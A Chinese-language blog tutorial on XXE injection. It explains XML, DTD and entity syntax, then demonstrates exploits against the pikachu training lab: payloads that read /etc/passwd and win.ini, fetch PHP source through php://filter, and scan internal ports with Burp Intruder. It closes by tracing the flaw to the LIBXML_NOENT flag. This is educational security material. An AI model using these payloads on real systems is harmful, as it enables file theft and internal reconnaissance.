首页 > 其他分享 >XXE漏洞

XXE漏洞

时间:2024-11-02 16:21:10浏览次数:4  
标签:XML xml XXE 外部 实体 DTD 漏洞 xxe

XXE的含义

XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。XXE是针对解析XML输入的应用程序的一种攻击。 当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。 这种攻击可能导致信息泄露,命令执行,拒绝服务,SSRF,内网端口扫描以及其他系统影响。

学***E要先从XML格式,和DTD开始

xml格式

<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading
><body>Don't forget the meeting!</body>
</note>

DTD

作用:用来检验xml的格式是否合法

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

格式好看点的就可以写成这样
<!DOCTYPE 根元素 
[
元素声明(也就是ENTITY的声明)
]>

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体类别

实体按类型主要分为以下四种:

内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)	

实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
完整的实体类别可参考 DTD - Entities

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

内部实体:

<!ENTITY 实体名称 "实体的值">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

参数实体:<!ENTITY % 实体名称 "实体的值">或者参数的外部实体<!ENTITY % 实体名称 SYSTEM "URI">

实例演示:除参数实体外实体+内部实体

#xml版本标识
<?xml version="1.0" encoding="utf-8"?>
#DTD声明验证
<!DOCTYPE a  #**内部的 DOCTYPE 声明**
[    
<!ENTITY name "nMask">
]>
#xml内容
<foo>        
<value>&name;</value> 
</foo>

实例演示:参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a 
[    
<!ENTITY % name SYSTEM "file:///etc/passwd">    %name;
]>

注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

如下是xml文档和对应的用于检验xml的DTD

image-20241101163958232

总结一下XML格式

例子一:
<?xml version="1.0" encoding="UTF-8"?> #这是声明xml格式的版本,和编码方式
<!DOCTYPE ANY
[ 
<!ENTITY words "Hello XXE !"> # words是个内部实体,也可以理解为一个变量,而Hello XXE!是他的值
							  # <!ENTITY 实体名称 "实体的值">这是内部实体声明的格式
]>
<root>&words;</root>  # &words也就是在引用words,也就是会解析执行

例子二:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe 
[
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >   # <!ENTITY 实体名称 SYSTEM "值">这是外部实体的声明
]>
<root><name>&xxe;</name></root>

漏洞利用过程(pikachu)

检测漏洞

实验检测的payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>

把它写得明显一点就是下面这样
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY 
[
<!ENTITY words "Hello XXE !">
]>
<root>&words;</root>

payload注入后回显

image-20241101174703450

接下来检测该端点是否支持DTD引用外部实体:

c:/windows/win.ini是每个windows系统都有的文件,如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞

输入payload(以下代码中xxe是外部实体的实体名称):

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

即可查看c:/windows/win.ini的内容如下图

b06da7c87d81ab5eb4ee0549bda9a6ca

接下来想要查看其他系统敏感文件,只要以该文件路径替换掉c:/windows/win.ini就可以了

其它利用点

查看php源代码

查看php源代码一般用php伪协议php://filter

这里构造payload:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/1.php" > ]> 
<foo>&xxe;</foo>

就可以得到base64编码的1.php文件源代码

d5bb32502af67ae26524b95a36f79110

爆破开放端口

在输入框中输入下面两段xml代码,虽然返回结果都是那段“友善”的提示,但是肉眼可见处理速度是不同的

原因是服务器80端口是开放的,而81端口是关闭的

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<foo>&xxe;</foo>
<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]> 
<foo>&xxe;</foo>

那我们就可以burpsuite抓包之后进行爆破了

浏览器中提交上面的代码,并在burpsuite的proxy模块抓到下面的报文,send to intruder

e14cf2e82e3ebb10483d6f67a90d7018

这里为了演示,搞简单点,仅爆破1~100这100个端口,按照下图设置intruder模块

最后点一下response received列,让报文根据这列值的大小排序,可以发现1~100的端口中只有80端口开放

c0da910ab11dedd05e44cb9e0a144d46

深思:如果没有LIBXML_NOENT

服务器上的代码主要是下图49行simplexml_load_string()函数中使用了LIBXML_NOENT参数,导致外部实体可以被解析,才造成了xxe漏洞

74dfe3cf751814be5c649e66ba70d7aa

下面将这个参数删掉,看看服务器解析内部实体和外部实体是否有区别

输入以下payload(内部实体),可以被正确解析:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "仙女" > ]> 
<foo>&xxe;</foo>

e526b56e66f9a1d3168b44685fc0281c

输入以下payload(外部实体),不可以被解析:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

1285d1151abfec634625953da8d5d43d
文章参考:
1.https://blog.csdn.net/elephantxiang/article/details/113812331
2.https://blog.csdn.net/weixin_44420143/article/details/118721145

标签:XML,xml,XXE,外部,实体,DTD,漏洞,xxe
From: https://www.cnblogs.com/sec-geek/p/18522143

相关文章

  • PHP如何预防文件目录猜测漏洞
    文件目录猜测漏洞(DirectoryTraversalVulnerability)是一种常见的安全漏洞,攻击者可以通过构造特殊的输入来访问服务器上的敏感文件或目录。在PHP编程中,预防这种漏洞至关重要。以下是一些有效的预防措施:1.输入验证和清理确保所有用户输入都经过严格的验证和清理。白名单验证......
  • 某小型CMS漏洞复现审计
    SQL注入漏洞复现:登陆后台,点击页面删除按钮,抓包:rid参数存在sql注入,放入sqlmap检测成功:代码分析:Ctrl+Shift+F检索路由:定位具体代码,为删除功能:发现deleteByIds调用了传参rid,跟进:发现进入Dao层,此处依旧调用的deleteByIds,于是找ICommonDao接口实现类:定位到该类,发现以......
  • 「漏洞复现」F22服装管理软件系统 openfile.aspx 任意文件读取漏洞
    0x01 免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需......
  • 如何开始漏洞赏金计划并成为漏洞挖掘猎手
    OzgurAlp:10年经验丰富的进攻性网络安全专家、讲师和讲师,持有OSCP、OSWE和CEH证书。获得Synack颁发的2019|2020|2021SRT总冠军、2021年最受信任黑客、2021年度SRT和2022年度导师等奖项和冠军。正文包括漏洞挖掘领域在内的任何领域,都不存在唯一真正的成功方......
  • 自学黑客(网络安全),一般人我劝你还是算了吧_网络安全漏洞挖掘需要报课吗
    一、自学网络安全学习的误区和陷阱1.不要试图先成为一名程序员(以编程为基础的学习)再开始学习我在之前的回答中,我都一再强调不要以编程为基础再开始学习网络安全,一般来说,学习编程不但学习周期长,而且实际向安全过渡后可用到的关键知识并不多一般人如果想要把编程学好再开始......
  • SSRF服务端请求伪造漏洞——POST请求
    初见页面:点击链接后,页面显示如下:一片空白,还是直接访问一下http://127.0.0.1/flag.php,发现界面突然多了个搜索框右键查看页面源代码:发现多了个key值,复制粘贴到搜索框并回车一下得到提示:只允许从127.0.0.1访问尝试使用Gopher协议向服务器发送POST包,但是现在没有......
  • Goby 漏洞发布|Apache Solr /solr/admin/info/properties:/admin/info/key 权限绕过漏
    漏洞名称:ApacheSolr/solr/admin/info/properties:/admin/info/key权限绕过漏洞(CVE-2024-45216)EnglishName:ApacheSolr/solr/admin/info/properties:/admin/info/keyPermissionBypassVulnerability(CVE-2024-45216)CVSScore:7.3漏洞描述:ApacheSolr是一个开源搜索服......
  • 什么是缓冲区溢出漏洞?
    缓冲区溢出漏洞是一种常见的安全漏洞,发生在程序尝试向预分配内存空间填充数据时,超出其预定大小,进而覆盖了不应被修改的数据区域。这种漏洞通常发生在输入验证不足的情况下,攻击者可能会利用它来注入恶意代码、改变程序流程甚至获取系统控制权。例如,在处理用户输入的字符串时,如果开......
  • 记一次“网络安全扫描工具联动”自动化扫描漏洞流程,网络渗透必看基础教程!
    大家好,我是向阳假如你在一次攻防演练或者渗透测试中有多个攻击测试目标,一个一个去手动测试是肯定不现实的,可以先借助安全扫描工具去“自动扫描测试目标站点”的薄弱漏洞的位置,为你后续的深入测试提供事半功倍的效果。前言:随着当前网络安全威胁的不断扩展与升级,开展渗透测......
  • 网安人必备的知识库/漏洞库/代码审计/SRC漏洞挖掘/攻防演练应急响应
    免责声明:本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动,若利用本文提供的内容或工具造成任何直接或间接的后果及损失,均由使用者本人负责,所产生的一切不良后果均与文章作者及本账号无关。再次说明文章所涉及内容,仅供安全研究与教学之用,由于传播、利......